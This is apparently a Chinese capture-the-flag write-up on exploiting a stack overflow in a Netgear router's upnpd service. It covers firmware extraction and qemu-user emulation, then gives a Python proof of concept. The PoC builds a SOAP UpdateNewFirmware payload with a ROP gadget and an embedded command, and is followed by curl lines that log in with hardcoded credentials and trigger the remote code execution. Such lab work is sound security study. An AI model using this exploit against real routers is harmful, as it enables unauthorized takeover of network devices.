西湖论剑 RW-UPNPD
前言
monkey哥 牛 帮我解决了很多问题。
解题
给的是固件包,还是直接binwalk -Me 可以得到文件系统,通过题目名提示可以知道问题出在upnpd上。
后来官方给出的提示很明显提示了漏洞:https://blog.grimm-co.com/2022/04/no-hardware-no-problem-emulation-and.html
就在这里了:
我们这反编译结果稍微有点不同但是基本一个意思吧 就是栈溢出。最新版已经修复了,检测了memcpy的长度。
然后就是仿真问题。
最开始我利用系统模式仿真,结果下断点总会断到奇怪的地方。后面侯哥先是patch了一部分upnpd + 弄了libnvram-fake 出来
解决了很多模拟调试的问题。最终使用用户模式仿真调试。
sudo chroot . ./qemu-arm -g 1234 -E LD_PRELOAD="./libnvram-faker.so" usr/sbin/upnpd
然后出现了一个问题,就是发现它没法登录获取session 哪怕我们修改了 nvram中的配置还是不行。
后来调试发现在
缺少文件了。 这里是类似于一个防火墙 限制访问者IP。加上这个文件后 查看libnvram.so中硬编码的数据即可。
然后根据给出的poc进行调试。直接调偏移,缺一个gadget。一眼定位一个:简单说最好是能控制的寄存器并且还能接着当参数使。
然后基本快乐执行命令了:
最后 POC: qemu-user模式打通了:
import base64
overflow= b"*#$^\x00\x00\x08\x00"
overflow += b"A"*0x60
overflow += b"B"*4 # s0
overflow += b"C"*4 # s1
overflow += b"D"*4 # s2
overflow += b"E"*4 # s3
overflow += b"\xde\xad\xbe\xef"
overflow += b"F"*0x38
overflow += b"\x44\xB2\x02\x00"
overflow += b"curl localhost:8080" # command
payload = b'<?xml version="1.0"?>\r\n'
payload += b'<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">\r\n'
payload += b'<SOAP-ENV:Body>\r\n'
payload += b'UpdateNewFirmware\r\n'
payload += b'<NewFirmware>'
payload += base64.b64encode(overflow)
payload += b'</NewFirmware>\r\n'
# trailer
payload += b"</SOAP-ENV:Body>\r\n"
payload += b"</SOAP-ENV:Envelope>"
print(payload.decode('utf-8'))
# 获取session 看libnvram.so 硬编码了用户名和密码
# curl -sv 'http://127.0.0.1:5000/soap/server_sa' -H 'SOAPAction:urn:NETGEAR-ROUTER:serrice:DeviceConfig:1#SOAPLogin' -d '<Username>admin</Username><Password>password</Password>'
# RCE
# curl 'http://127.0.0.1:5000/soap/server_sa' -H "SOAPAction: urn:NETGEAR-ROUTER:service:DeviceConfig:1#UpdateNewFirmware" -H "Cookie: sess_id=dfa0401385af66b6b6b7e0f21798ae79ef2148698822355b85d889e92f3f8cbbdd88b596d3733095c1c780ed08cce26218b98b2ac7fbd24ca1e9f3126ff34a45" -d @rce.xml
我的博客即将同步至腾讯云开发者社区,邀请大家一同入驻:https://cloud.tencent.com/developer/support-plan?invite_code=3fwxqtwyln6ss